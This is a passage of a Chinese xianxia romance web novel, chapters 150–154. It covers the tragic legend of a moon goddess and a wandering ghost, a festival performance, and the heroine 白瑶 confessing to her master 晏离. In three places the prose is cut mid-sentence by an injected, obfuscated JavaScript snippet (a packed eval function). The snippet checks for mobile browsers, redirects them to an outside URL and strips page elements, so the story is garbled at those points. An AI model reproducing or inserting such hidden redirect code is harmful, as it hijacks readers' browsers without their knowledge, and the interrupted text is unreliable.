长熠嘴唇微微颤抖,他轻笑了一下,深深吸了一口气,故作淡定:“不就是回家,有什么不能同我说的。难道你不曾将我当作朋友?” 长熠等不来容疏的回答,愤愤地看了她一眼:“是我高估自己了。就算我入了学堂,同你们还是不一样。” 长熠重重地放下酒杯,起身欲走,手被人拉住。身上一重,容疏从后面将他紧紧抱住。 长熠身形一晃,地上两道影子融为一体。 “你这是做什么?”长熠闭上眼睛,攥紧了拳头,忍着心中翻涌的情愫。 “我......”容疏叹了口气:“我还能见到你吗?” 长熠忍不住转身搂住她。 “你愿意等我吗?”容疏问。 长熠说:“不愿。” 容疏心中一痛,呼气乱了几分,眉头紧锁起来,将怀中的人搂得更紧。 “真的?” 长熠叹了口气,松开手,说:“你走吧。” 容疏拉了拉他的袖子,望着他的侧脸哽咽道:“长熠,你还记得我们刚认识的时候吗?那个时候我们都还小,意气风发,什么也不放在眼里。你那时虽然不在学堂,但气质出众,有远见博识,不亚于其他学生,像是哪位大家公子。我一眼就被你吸引了,让你进学堂是因为我有私心,我想多见见你。” 长熠带着几分嘲讽,打断道:“可惜我并不是大家公子。” 容疏抬眼望向他的眼睛:“大家公子也不像你这般不讲理。” 长熠微愠:“这是你的心里话?” 容疏直直望着他的眼睛,眼底的感情不加掩饰地流露出来:“我也不喜欢那些高门大户的男子。” 长熠微怔,喉头一滚,眼睛紧紧盯着她,有些颤抖地问出了他一直以来想问的问题:“那你喜欢谁?” 在他幽深的眼眸中,容疏踮起脚尖,在他的唇边轻柔地落下一吻。像羽毛轻柔地在他心尖扫了一下,继而他的心脏像是炸开了一样。 月下,两人的影子紧密地融合在一起。 水波一荡,相拥的人影化作一串泡沫。 数月之后,长熠迟迟等不来容疏的音讯,于是前去拜访容家,却被家主故意刁难、扫地出门,并且告知容疏已经定亲。一向高傲的长熠在门前扬言,自己再也不会见容疏。 被禁足在屋内的容疏听后崩溃,将屋里东西砸了个稀巴烂。 又三日,容疏在家中侍从的帮助下,逃出容宅与长熠私奔。两人在另一个镇上安家落户,隐姓埋名,开启了一段平凡安稳的日子。 容疏褪去了华服,穿着朴素的衣衫,将头发挽做妇人模样。长熠愈加成熟,眼神更加傲气坚定,看容疏的眼神依然温柔多情。两人苦心经营数月,安置了一间小屋,长熠平日给镇上的孩子讲学,容疏和人做些小生意。 “这样的日子真好。”夜里,容疏与长熠倚靠在树下,一同望向柔和的月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水中景象又一转,来到容疏成亲那一夜。混沌长夜里,两道遥远的虚影飘向上空,越过高山与流水,于虚空中相遇,转瞬擦肩而过。 一个向上腾起,一个坠入深渊。 百年后,再次相遇,她是温柔美好的月神,他是冥界游荡的不知名的孤魂。 月神头戴桂冠,披着一身金色图腾的华服出现在奈何桥边,吸引了不少冥府人员和游魂站在桥下观望。她面容清冷,眉宇之间有淡淡的愁色,一双水灵灵的眸子在晃动的鬼影中搜寻着。 游魂向桥上聚集,那是冥府唯一有光、有温度的地方。 随着游魂的靠近,月神的光芒收拢,越来越黯淡。 突然她发现人群之中,有一个影子逆着人流,向外躲去。 月神从人群中一跃而出,落在他的面前。 那是一个萧条的鬼魂,气息微弱,看不清容貌。 一神一鬼僵硬在原地。 月神心口砰砰直跳,半晌,向他迈近了一步。 鬼魂掩面而逃。 151. 第 151 章 冥界流传着一个故事,传说天上温柔的月神,曾爱慕一名冥界的孤魂,求而不得,于是每月都在奈何桥边等他。 许多年,那孤魂一直在远处遥遥地望着她。 她在时望,不在时也望。 但是始终没有上前。 许多年后的某个月,月神迟迟没有出现。 那孤魂跌跌撞撞地游荡到桥上,怅然若失地望着自己每次躲藏的方向。 他想,她知不知道自己一直在看她? 或许是不知道的。 所以她不来了。 "长熠......" 身后突然传来熟悉又陌生的声音。 孤魂一惊,掩面想逃,被拦住了去路。 “三百年了,你还不想见我吗?” 孤魂捂着脸摇摇头,又点点头,然后向后缩去。 月神向前一步,抓住他的袖子:“那我们当初算什么?” 孤魂沉默了一会儿,用沙哑的声音说:“月神大人,早些回去吧。” 月神一双泛着水光的眸子紧紧地盯着他:“我可以回去,但我还会再来。你没有其他地方可去,我们总会见面。” 空洞的冥府中,一声复杂的叹息溢出。 “长熠,不要躲我好吗?” 月神牵住他的手,既然将瘦弱、微弱的魂魄拢在身前,用自己身上的光和温暖包裹着他。 怀中发出沉闷的哽咽。 “为什么是神? “为什么要招惹我? “为什么还来找我? “为什么还不放过我?” ... 那一日,月神的光芒洒在冥界,将温柔的光辉播撒在了许多孤魂的心中,照亮了他们来世的路。 而后月神多次与孤魂在冥界私会。 “长熠,我一定会想办法带你离开这里。”月神攥着孤魂冰冷的手,眼神坚定地说。 孤魂发出微弱的声音:“容疏,能再见到你已经很好,我不再奢求什么。” 月神微怔,凝视着怀中的人,似乎陷入了深深的思索。 天庭之上,小道仙闻渐渐流传开来。 月神平日独居月神殿,显少与人交际,偶尔出门时,竟然听到有散仙在道旁嚼舌根。 “月神看上去温和,对人却很冷淡啊。” “冷淡什么,她都跑去冥府找男人了。看着清高,其实比谁都寂寞难耐呢。” “冥府?难不成冥府的男人......更厉害?” “谁知道。你可以问问她,和天庭的男人比,谁更厉害啊哈哈哈哈。” 月神不理会旁的人口中的闲言碎语,匆匆走过,未停下脚步。风拂动她的须发,随风飘来一道戏谑的声音:“她那冥府的男人什么样子?不如我们也去找他玩玩儿?” 那是月神第一次违反天庭戒律,饶是散仙在天庭是三无人员,也不可能随意诛杀。 但她真的怕了。 她怕那血淋淋的一幕会再次上演。 她在天后殿跪了十四个日夜,乞求天后不要牵连长熠。 她可以永不见长熠。 天后念及天上不能无月,允许月神去和长熠道别。 潭中的池水变得混沌,昏暗的冥界,孤零零的游魂站在奈何桥上。 几名无名小鬼在桥边嬉笑:“天庭不会放过你的。月神也保不了你。” “你就是丧门星,倒霉鬼,谁沾了你都不会有好下场。” 月神的光芒照耀下来,小鬼慌慌张张地跑开。 长熠站在桥上,月神站在桥下。 她抬眼看向桥上模糊的身影,眼中是千回百转。 他垂眸望向桥下混沌的倒影,眼中是一片荒凉。 良久,长熠平淡地开口问道:“你又要走了?” “长熠......" 冷冷的声音传来:“你不是说,要带我离开这里?” “骗子。” 孤魂带着咬牙切齿地说:“我竟然相信了你。”颤抖的声音中带着一丝哭腔。 “长熠......” 她想让他再等等,但是她说不出口,因为她也不知道要等多久。 “你走吧。” 长熠背过身去。 容疏从身后紧紧搂住他,将头埋在他的肩上。 “对不起。” 长熠恍惚了一瞬,身后已经空无一人。 月神回到了高挂天空的月神殿,成为了所有人的月亮,唯独不是他的。 孤魂遥望天上的一轮月牙,喃喃道:“容疏,我累了。我真的太累了。” 他是那么高傲的人,怎么能忍受一而再再而三的屈辱? 都是因为念及她。 她的笑、她的怒、她的悲伤、她的痴狂...... 前尘往事如烟,他疲惫极了,只想睡一觉。 梦里有她也好,无她也罢。 ————— 潭中的水停止流动,忽然潭底又透出了淡淡的金光,随着金光的涌现,一股力量将白瑶的身体推了上去。 她猛地坐起身。 房间里安静极了,她的喘息声格外明显。她环顾四周,还是在丰莹的卧室,一切都如她睡下时的样子。 她刚才被带去了哪里?她有没有离开过这里? 门吱呀一声被推开,晏离大步走了进来,上下打量了白瑶几眼。她的目光复杂又压抑,好像有很多情绪像海浪一般翻涌而来。 他冷静地对门外说:“她没事。进来吧。” 丰蓓、丰梁等人才涌了进来,对她嘘寒问暖:“白姑娘,你还好吧?你有没有哪里不舒服?” 白瑶从床上走下来,摇了摇头:“我没事。刚才好像做了一个很长的梦。” 听完她的描述,房内的几人一时不知该作何感想。 白瑶回忆起那金色的潭水,并不让人害怕,而是有一种安定的感觉。“我觉得灵体并不是想要阻碍月神节,而是想要将这个故事的细节告诉大家。但是灵体入侵不是平常人能够承受的,所以造成了丰莹神志错乱。” “这么说,月神的传说竟然是真的?”丰蓓喃喃道。 丰莹爹不管什么月神传说,只心切地问:“阿莹什么时候能好?” 白瑶答道:“休息几日应该就能清醒。” 丰莹爹欲言又止,休息几日不是就错过月神节了。这也是丰梁、丰蓓担忧的,月神节没有月神庆典,该如何跟镇民交代。 丰蓓正在苦恼,看着身穿月神服的白瑶,眼睛一亮:“白姑娘,我看你就挺合适的。” 丰梁顺着她的目光一打量,发现白瑶不仅气质不凡,而且与月神的形象很般配。 月神服是量身打造的,再去找一个身形相似的人也需要不少时间。 丰梁恳求道:“要是有别的办法我断不会麻烦客人,现在实属无奈。白姑娘,要是你能施以援手,日后有什么需要的地方,我定会全力相助。” 白瑶想到镇上为月神节做的准备和百姓翘首期盼的样子,心里不忍拒绝,但要与那韶君演艺月神与长熠的爱情......她下意识看了晏离一眼。 晏离没有注意,望向窗外惨白的月光,侧脸线条冷峻。 白瑶眼睛黯了一下,对丰梁点点头:“我可以。” 入夜,一轮圆月显现在天边。 街上张灯结彩,灯火通明。熙熙攘攘的人群在街上汇聚,镇民举家出游,都穿上了自己最美最隆重的衣裳,有的带着俏皮的狐狸面具,有的提着月亮灯笼,有的拿着冰糖葫芦...... 石桥边,有情人在人迹罕至处低语,桥上跑过几个孩子,留下一连串笑声,惊得小情人将头埋得更低。 小河流水潺潺,点点花灯将小河照亮,灿烂宛若星河。 庆典开始前,酒楼的戏台已经咿咿呀呀唱过一轮,虽然都是老掉牙的故事,但每次都能改编出新意,赚得满堂喝彩。 月亮升至高空,广场的锣鼓一敲,台下人头攒动。 巡游的花车之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137815|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白瑶扮演的容疏长发高束,一身清白色的学生袍,手里正捧着一本书津津有味地看。她面容姣好,身姿挺拔,清新秀丽,一出场就让人群喧闹起来。 “这届月神不是丰莹吗?怎么换人了?” “丰莹哪有她好看,月神好看不就行了。” “那丰莹可是大家选出来的。我还投票了呢!” “我听说丰莹突然病了,这位是镇长请来救场的!” “嘘嘘嘘,好好看戏。” ...... 忽然一人出现在她身后。少年明眸皓齿,一身朴素的长袍,眉宇之间大方坚定,又赢得了阵阵掌声。 月神庆典的表演有六幕: 第一幕是他们学生时期相识相知,互相定下约定。 第二幕是长熠拜访容家受辱,两人私奔度过一段安逸的日子。 第三幕是两人平淡的日子被打破,长熠被容家鞭打,容疏回家娶亲。 第四幕是两人双双赴死,天地相隔。 一般人看到第三幕,都哭得上气不接下气,但万丰镇的百姓对这个故事实在太熟了,甚至比现在台上表演的那位还要熟悉,所以眼眶红了一片,都忍着没有声响。 第五幕是月神偷入冥府与长熠私会,两人破镜重圆。 白瑶换了那身用金丝线勾勒的华服,带上弯月额饰,那枚额饰让她的脸庞越发光彩夺目,浑身散发着温和的光辉。她平日也美,但是是不加修饰的,此刻精心打扮了一番,将她得天独厚的气质勾勒出来。那眉眼精巧秀丽,宛如天工,如同神女降世。 台下传来一阵惊叹:这是不付钱就能看的吗? 她站在奈何桥上,满脸愁容地四处望着,好像在搜寻什么。 长熠化为鬼魂后,无法以原来的面目示人,所以通常会带着一个丑陋的鬼怪面具。韶君带上面具之后,原本的美貌被掩去,清瘦的身影在桥下落寞地看着月神。他孤单、清冷,被黑暗包裹着,与柔美的月神形成了鲜明的对比。 “这是不是新加的情节?” “对啊,好像之前没有这一段。” 台下的人低声细语。 黯淡的身影在桥上被光鲜的月神从身后轻轻抱住,台下一阵翻腾的欢呼声。 丰蓓专门按照白瑶的口述改了戏,这一幕在融融灯火中很是缠绵。 台下的人不禁感叹道:“韶君这小子艳福不浅啊。早知道我也报名选长熠了。” 最后一幕是月神与游魂的感情感动了天帝,天帝破格让游魂升仙,与月神长相厮守。 月神与长熠从奈何桥上走下来,来到光线明媚处,向所有人谢幕。 白瑶漫不经心地打量着台下的人群,目光有意无意地搜寻着晏离的身影,但没有找到他。也许他对庆典不感兴趣。白瑶心里空落落的,笑容也显得有几分僵硬。 晏离不喜欢这种人多的地方。她在期待什么? 她忍着不去想他,余光看到长熠还一本正经地带着鬼怪面具,于是伸手去掀:“演完了就把面具摘了吧,让大家看看你的样子。” 面具掀开一角,露出了干净利落的下颌线,手却在空中被他牢牢攥住。 手腕上传来一股凉意。 白瑶微怔,耳旁听到清冷又熟悉的声音:“别动。” 耳旁的喧嚣像是忽然静止,她愣在原地,惊颤的目光在面具上流连,心脏剧烈地跳动起来。 身后,五彩灯笼透出莹莹光辉,让他漆黑的面具染上了一层暖意,像是要将他一身的冰霜融化。 他就站在她身边,此时此刻,不再遥远。 静止的人群再次喧闹起来,他们在欢呼,落入她的耳中似乎变成了一种鼓励。她久久无法回神,心脏再也不受控制,魂不守舍地由晏离从台上牵下来。 刚才那一幕突然闯进她的脑海中,如果是韶君她反而没那么尴尬,但是居然是晏离...... 她的脸烧了起来,一定是灯笼的火光太耀眼了。 “怎么是你?”白瑶喃喃。 152. 第 152 章 台后,韶君抱着换下来的衣服,脸上挂着惭愧的神情等着他们:“白姑娘,原本我是为了莹姐姐才来扮长熠的,我不想让她失望。不好意思,没有事先告诉你。” 他能扮作长熠,但终究不是长熠,他是他自己。 白瑶还沉浸在刚才的恍惚中,也没多想,轻轻摇了摇头表示不在意。 看台前的人群渐渐散去,十年一度的月神节欢天喜地地拉开了序幕。 人群向四面八方涌去,人们还沉浸在刚才的戏中,讨论声滔滔不绝。他们一致认为“这次的月神虽然面生,但确实将月神的风华演了出来。倒是韶君年纪还是太小了,总觉得这次的长熠差点味道,不过冥府那一段演的不错。” 丰蓓越过人流朝他们走来,先是瞪了韶君一眼,说:“不争气的东西。”然后语气缓了一下,对他说:“阿莹醒了,你去看她吧。” 韶君原本低下头不敢看她,听见莹姐姐醒了,顿时眼睛一亮,抬头问:“真的?”然后将换下来的衣服往侍者身上一推,立马溜走了。 丰蓓看着他在人群中急急忙忙穿梭的背影,摇摇头:“这孩子......”眼神中带着一丝落寞。 白瑶宽慰道:“他是太担心他的莹姐姐啦。” 丰蓓叹了口气,望着街上三五成群的人们,自嘲道:“我也好担心我的伍公子啊~” 白瑶见她怅然若失的模样,望着街上来来往往的人流,忽然灵机一动:“你说你们新婚前不能接触,若是带上面具呢?不就没有人会发现了?” 丰蓓呆了一下:“好像是诶......" 白瑶拍了拍她的肩:“月神的故事告诉我们要珍惜眼前人,珍惜当下的时光,不必在意那些繁文缛节。想去就去吧。” 丰蓓呵呵一笑:“真是的,居然还被你一个小丫头教育了。”她看了一眼白瑶身后的晏离,眸中闪过一道精光,揶揄道:“你这徒弟不一般。” 她不知道晏离此时是何神情,但她方才在大庭广众下,扑上去拥住了晏离,那腰身......那手感……现在根本不敢回头与他对视。 “师......师父,我们也去街上看看吧。”白瑶僵硬地迈开步子,不等身后回应,朝长街人流中走去。 人潮汹涌,她低着头在人群中向前走,心里紧张得像小鹿乱跳。耳边喧闹声缕缕不绝,但她什么也听不清楚。 有人往她手中递送了什么东西,然后慌慌张张地跑开了。但她脑子里一团乱麻,根本没注意发生的事情。 终于来到一个岔路口,人流分为了两波,周遭不再那么拥挤。她鼓起勇气问: “师父,你怎么不告诉我呀? “我都不知道是你...... "我要是知道......" 她害羞地抬起头...... “诶?人呢?”街上人来人往,晏离不见踪迹。 白瑶四处张望,逆着人流往回走,好不容易从人群之中挤了出来,忽然发现自己一手握着六朵金莲花。 这是什么时候的事情?! 正当她东张西望的时候,余光看到街旁隐蔽的巷口站着一位素雅恬静的身影。 女子身材高挑气质极好,与喧闹的人群有些格格不入。白瑶打量她的时候,她也透过面纱打量着她,须臾问道:“你是刚才扮演月神的......" 白瑶恍然悟到,原来也是刚才的观众。 "对。若是要夸我就不用了,我是临时被拉来的,比不上先前那些苦练了几个月的姐姐。”白瑶有些不好意思地瞟了她一眼:“嗯......要是实在想夸也行......" 女子似乎轻笑了一声,隔着面纱隐隐约约看到一个温柔模糊的边线,她轻声问:“我可以问你一个问题吗?” 在白瑶疑惑的目光中,她顿了一下,问:“在冥府相遇时,为什么你会......从后面拥住长熠......" 白瑶迟疑了一下,这......总不能说她看到的就是这样...... 等等,她突然想起那个灵体捣乱还没解决! 女子追问道:“你是不是看到了什么?” 白瑶更加疑惑了:“你是?” 女子没有回答她,而是将她拉到巷子里人迹罕至处,一把扯下斗笠。淡金色长发滑落,她微微侧目,额间一片月牙状的饰物在暗处散发着清冷的光辉。柳叶眉下,一双温柔似水的眸子像是有说不完的话。她穿着广袖仙袍,仙气飘飘,就像天上的月色一般舒朗雅致,让人觉得赏心悦目。 这么美的人可不是随随便便能见到的。 白瑶有些紧张:“您是...... “月神?” "嘘。”月神装作俏皮地比了个手势,然后微微一笑:“别让其他人知道。”宛如春风一般,让白瑶立刻红了脸。 她比记忆中更美。 “您怎么会在这里?”白瑶用气声说。 月神微笑着不说话,抬头望了望远处的人群,眼底流露出一丝复杂。 白瑶边思忖边问:“您每次月神节都会来吗?” 月神缓缓点了点头。半晌,她说:“我想看到容疏和长熠在一起。” 白瑶看着她淡然又苍凉的眼神,心里一痛,问:“不可以吗?” 月神收回视线,目光落在白瑶的脸上,眼底的深沉逐渐转变为一种淡然,道:“嗯,不可能了。” 白瑶不解,追问道:“为什么不可能?神不是万能的吗?为什么不能再塑一个长熠?或者去找他的转世?” 月神被她问得一怔,但没有生气,还是温和又耐心地回答她:“长熠在那次冥火中魂飞魄散,已经没有办法再重塑,也无法转生。世间没有谁是无所不能的。人无法永生,神无法死亡,他有他的选择,我也有我的责任。” “他是在惩罚我。惩罚我在无穷无尽的生命中孤单一人。”月神的眼神漠然又悲恸,她的声音带着一丝颤抖:“我很遗憾,很遗憾。” “不是的。”白瑶摇摇头:“我觉得长熠并不是想要惩罚您。”她在金潭中看到长熠离去时脸上挂着满足的神情,月神应当比她知道的更多,只是她不愿意想。 月神轻轻扬起嘴角,说:“是吗......" 白瑶很认真地点了点头:“他一定是太爱您了才会选择离开。” 月神怔怔地呢喃:“太爱我了?”她拍了拍白瑶的头:“你还不懂......" “他有他的自尊,他没有办法在不平等的关系中爱我,他为我放弃了太多太多,最终什么也不要了。” 白瑶似懂非懂地眨眨眼睛。 “那个灵体是怎么回事?”白瑶原本以为灵体或许与长熠有关,但月神说长熠已经不在了,兴许事情还有别的原因。 “你是说这孩子吗?”月神伸出手,远处忽然飞来了一只金色的小鸟,乖巧地停在了她的指尖。 “它是我分化出来的部分记忆。”月神垂眸,轻轻地抚摸着小鸟,良久,叹了口气:“因为太痛了。” 小鸟停留了一会儿,挥了挥翅膀又飞走了。月神的目光随着它远去,对白瑶说:“这次是我没注意,让它误入了那位姑娘的梦境。以后不会了。” 月神望向欢声笑语的人群,灯笼的光映在人们喜悦的脸上。她眼中浮现淡淡的向往,微笑着说:“你看,大家多开心。” 白瑶心里有些堵得慌,想拉月神过去一起玩儿,月神却将斗笠重新戴上:“你回去吧。有人在等你。” 白瑶看向人群,没见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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白瑶看的津津有味,忽然听到耳边传来:“想玩?” 她心里一动,点点头。 晏离向摊主招招手,让摊主递给她了十只草环。 白瑶成为了人群的焦点,心里紧张极了。她深呼吸一口气,向那只明亮的小月亮灯笼扔去...... 草环实在太轻,她明明用力地抛出去,但不一会儿就后继无力地落了下来,砸在了物体之间。 人群中传来:“可惜可惜,就差一点儿。” 白瑶又连续丢了几个,都落空了。没想到看上去挺容易的,命中率却极低。摊主在一旁笑弯了眉眼:“姑娘多试几次,找到窍门就好了。” 围观群众:“还多试几次,你想钱想疯了?” 白瑶握着最后一个圈,长吁一口气,紧张地盯着不远处那只月亮灯笼。那只明晃晃的灯笼,在暗夜中发出淡雅的幽光,仿佛在说我就在这里,快来把我拿走吧。 忽然,她手骨上一冰,一只冰冷又纤细的手覆在了她的手上,清冷又生疏的气息从身后传来,在她尚未反应过来时,将她的手向前轻轻一带。 白瑶脑中一片空白。 连那草环什么时候被掷出去的都不知道。 只见草环稳稳当当地将月亮灯笼套在了中间。 不偏不倚,恰如其分。 人群一片欢腾。 摊主将灯笼取来递给白瑶说:“恭喜恭喜。” 白瑶怔怔地接过来,只觉得人群的欢呼声让她头晕目眩,心脏好像要爆炸了。 她细声细气地说:“谢谢师父。” 晏离已经收回手,转身离开人群。 153. 第 153 章 丰蓓见过她的伍公子后,第二天整个人容光焕发、神清气爽,早晨出现时还哼着小曲,仿佛发生了天大的好事。 白瑶多看了她几眼,忍不住小声揶揄道:“蓓姐姐这是吃了什么灵丹妙药?怎么像是变了一个人。” 丰蓓怕她爹爹看出端倪,收敛了表情,冲白瑶挤眉弄眼:“月神节庆典顺利结束,我卸下重担自然一身轻松。” 白瑶挑了下眉,暧昧地“哦”了一声,撑着脸别有意味地打量着她。 丰蓓赶紧吃完拉着她向外走,剩下两个不明所以的丰梁和晏离沉默以对。 丰梁:“她们感情挺好的哈。” 晏离:“......” 丰蓓急急忙忙将她一路带出丰宅,白瑶又好笑又无奈地跟在后头:“姐姐,何必如此偷偷摸摸?” “嘘。”丰蓓把她拉到街边无人处,四处看了看,拍了拍她的手,小声叮嘱道:“这事莫要声张,虽然是些无关紧要的礼节,但是入乡随俗,不要让伍公子难堪。”对伍公子的尊重与体贴尽数体现。 白瑶点点头,扬起笑意:“你们昨晚见面都做了些什么?” 丰蓓一愣,突然眼神飘忽,放下白瑶的手,吞吞吐吐地说:“啊......我们就一起去......河边的廊桥散了会儿步......” 白瑶不解,散步有什么不能说的,她扭捏成这样。 “只是散步?” 丰蓓坚定地点了点头:“对,只是......散步......” 白瑶觉得好像不应该是这样,但是应该怎样,她也不知道。丰蓓仅仅见了心上人一面,便能精神百倍,白瑶不禁困惑道:“姐姐,我帮你见到了伍公子,你得好好回答我的问题。你见到伍公子的时候是什么感觉?” 丰蓓握拳在嘴边咳了一声,小声说:“你问这个做什么?我和伍公子虽然相识多年,但现在一见到他还是觉得......头脑发热,心里砰砰直跳。” 白瑶一怔,这个感觉她似乎也有过。 “什么时候开始有这种感觉的?”白瑶追问道。 丰蓓回忆道:“早些时候我俩只是玩伴,还不明白是何种感觉,但随着相处感觉会越来越浓烈。不见他时会想他,见到他时又有些手足无措。想要靠近他,想要离他更近一点,想要占据他的全部视线。他仿佛生长在了我的脑海中,如影随形,他不在时想他,只要有他在的地方,我的目光就没办法从他身上移开。” 说完,她整张脸红透了:“苍天呐,我在跟你这个孩子说什么。” 她伸手揉了揉白瑶的脑袋:“给我忘掉,快点忘掉!” 白瑶从她的魔爪下逃出来,抱着头说:“忘掉就忘掉,做什么折腾我的脑袋。” 丰蓓轻叹了口气:“你呀,等你遇到那个人自然就懂了。” 白瑶心里想:我好像已经懂了。 丰蓓还将她当不谙世事的孩子看,替她整理了一下揉乱的头发说:“明年我就要大婚了,到时候你和你师父一定要来。晏离若是不想来,你也要将他拉来。” 白瑶嘟囔着:“他要是不想来,我还能怎么办?” 丰蓓拍了一下她的肩:“你总会有办法的。” 早晨街上只有寥寥几人,许多摊贩还没支起门面,不远处清风送来不知哪家的早饭香气,温暖诱人,平和安宁。 丰蓓望着长街上一片祥和的景象,眼神不由地柔和起来,透着满满的憧憬:“成婚以后,我就要肩负起自己的责任。以后我要成为一个像我父亲一样廉洁爱民的镇长,将万丰镇发扬光大!” 白瑶暗暗惊道,没想到丰蓓还挺有想法。反观自己这些年倒是将宫里所有事情抛之脑后,全部交给了母皇、父君和有苏哥哥应付,现在还在外头云游。 她若是成婚后,恐怕也只能待在宫里处理政务。虽然这是她生来就必须要承担的责任,但委实太过无趣。 不过她终究是要回去的。 白瑶轻叹了一口气,心中有些烦闷起来,冒出丝丝挣扎。 若是她回去了,晏离怎么办?她是不是就见不到他了? 月神节庆典一连七天,夜夜欢腾,最后一天格外热闹。 摊贩将剩下的存货都拉出来甩卖,吆喝声一浪高过一浪,仿佛谁的声音大就能获得更多的客人。玲珑灯笼已经被挑选得所剩无几,手绘面具挂在木架上也显少再有人为它们驻足停留。 白瑶站在面具架前挑选了一阵,带上了一只小兔子面具,竖起两只长长的耳朵,圆圆的眼睛周围多了一圈红色,看上去楚楚可怜。 “师父,怎么样?好看吗?”她回头问晏离,也不指望他能回答什么,只是希望能获得他的关注。 晏离清冷的眸子中映出一只摇头晃脑的小兔子,她跳脱的时候和兔子有几分相似。不过,兔子不会叫,她......很吵。 晏离问一旁的小贩:“多少钱?” 白瑶摘下面具,淡然地笑了一下,算啦,想要得到他一句赞美比登天还难。 人群开始向一个方向涌去,白瑶扯着晏离的袖子说:“要放烟花了,我们也快点过去!” 月神节最后一个惊喜,是在第七日晚,在城中最高楼处燃放烟花。届时,夜空中会出现银月、花灯与烟花三重绚烂交相辉映的奇观,全镇的开阔处都能看到,但唯有一个地方是最佳观点。 小河上的情人桥。 每次月神节放烟花,桥上都会挤满了人。那里视野开阔,看漫天烟花绽放,情人之间的心也更近了。 白瑶拉着晏离挤上桥,抬头便见夜空如深紫色的画布,一轮弯月泛着温和的银辉,似乎静静地望着翘首以待的人群。 白瑶在桥边被人挤了一下,差点从栏杆翻下去,幸好被晏离拉了回来。 挤她的人连连道歉:“对不起对不起,人真的太多了。” 晏离将她往身侧拉近了一些,他身上那股独特的清香随着夜风袭来,就算身处闹市,也能让白瑶平静下来。 她面红耳赤地缩在晏离身旁,还好带上了面具,不然她此时的神情一定很不对劲。 桥上拥挤,她抬头若有若无地望着晏离的侧脸,希望时间能过得慢一点。 “还有多久?”人群中传来一声。 “快了快了,再等等。” 从桥上向四周看去,两岸围绕着形态各异的花灯,有花草虫鱼、亭台鸟兽,也有仙人仕女,烛光透过灯壁散发出柔和的彩色光辉。 桥下小河中悠悠飘过一只小舟,岸上灯笼的图案映在船舱上,像是披上了一层艳丽的裙裳。舟中的人探出船舱向上看,不知是想看烟花,还是看桥上的人群。 与此同时,桥上、岸边、街巷......人们慢下步 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河中映着天上的色彩,水面绮丽如画,漂泊的小舟像是从一路繁花中穿流而过。 镇上的人无论身在何处,都抬起头看向天空,带着希望和喜悦憧憬着万丰镇下一个十年,传来阵阵赞叹。 而在绚烂之后,夜空广阔寂寥,那一轮月亮孑然在远处望着此间的繁华与喧嚣。 白瑶心里一酸,不知从何而起的情愫翻涌如浪,她忍不住摘下面具。 晏离注意到她的动静,转头看向她。 须臾,白瑶抬眸不加掩饰地望着晏离,虽然神情略显青涩,但眼中的复杂情绪已经浓烈而饱满。 晏离有一瞬间恍惚,像是读懂了她眼中的神情。 那不该是望向他的。 他心里陡然一紧,想要从这混乱中逃脱出去,不知为何身体僵在原地。 白瑶的眼眸中映着晏离那张清冷的面容,在他身后是漫天的绚烂和汹涌的人群。他身上的冷傲无法融入这片喧嚣之中,世间的繁华似是与他无关。 她想,月神,我知道你为什么觉得遗憾了。 在广阔的天地间,他们渺小如尘埃,仿佛清风拂过便会在此消散。 如此良辰美景,就算此刻身在汹涌的人潮之中,还是觉得自己孑然一身。 看上去强大如斯的神明,褪去光鲜的外表和地位,实在太过寡淡贫瘠。 神究竟是怎样的存在?他们为何而来? 他们无穷无尽的生命能为世间留下什么? 她想抓住那稍纵即逝的感觉,她害怕绚烂过后陷入无尽长夜,她想和一个人长长久久。 她知道自己不能永远留在晏离身边,或许她很快便会回到自己的位置。 这短暂的六百年便是那夜空中的烟花,下一次绽放或许是十年,或许是百年、千年,她不知道、不想等,却无能为力。 烟花空逝,夜色低垂。桥上熙熙攘攘的人群逐渐向两侧退去,适才的喧闹随之宽舒与淡泊。 一瞬间,她烦躁的心绪仿佛被抽离,她赤裸裸地暴露在了晏离面前。 几秒留白,晚风送来了一段艰涩的声音: “晏离,我可以喜欢你吗?” 154. 第 154 章 从万丰镇回来已经一个月有余,那日白瑶在转瞬即逝的烟火和无尽长夜之间迷失了神志,忍不住袒露了自己的心思,在惊慌失措时遭到了晏离断然拒绝。 “你知道自己在说什么吗。” 晏离清冷的声线从夜空划过,像一把冷箭刺进她的耳膜。 那一瞬间,她几乎想从桥上跳下去。 倒不是有多伤心,而是太丢人了...... 众目睽睽之下一厢情愿地表白就算了,居然还被拒绝了,还好这里无人认识她,不然她将要用往后无尽的生命来承受那日发生的一切。 山大王见白瑶一个人坐在院中的小木桌旁,一边发呆一边将一只狗尾巴草薅秃了,战战兢兢地从院中最远处绕过去,害怕她一个不高兴就将自己的尾巴也薅秃了。 “啪”白瑶重重在桌子上拍了一下,吓得山大王一蹦三尺高,着急地挥着他的翅膀,然后一屁股跌坐在草丛中。 “当做没发生过可以吗?”白瑶小声自言自语道。是她太着急打草惊蛇了,面对晏离就应该循序渐进,让他不知不觉掉进她的陷阱。现在她能做的,只能装作什么也没发生,让一切回归本来的样子。 白瑶暗暗鼓足勇气,敲了敲晏离的房门:“师父,我做的盐渍青梅放好了,你出来尝尝吧。” 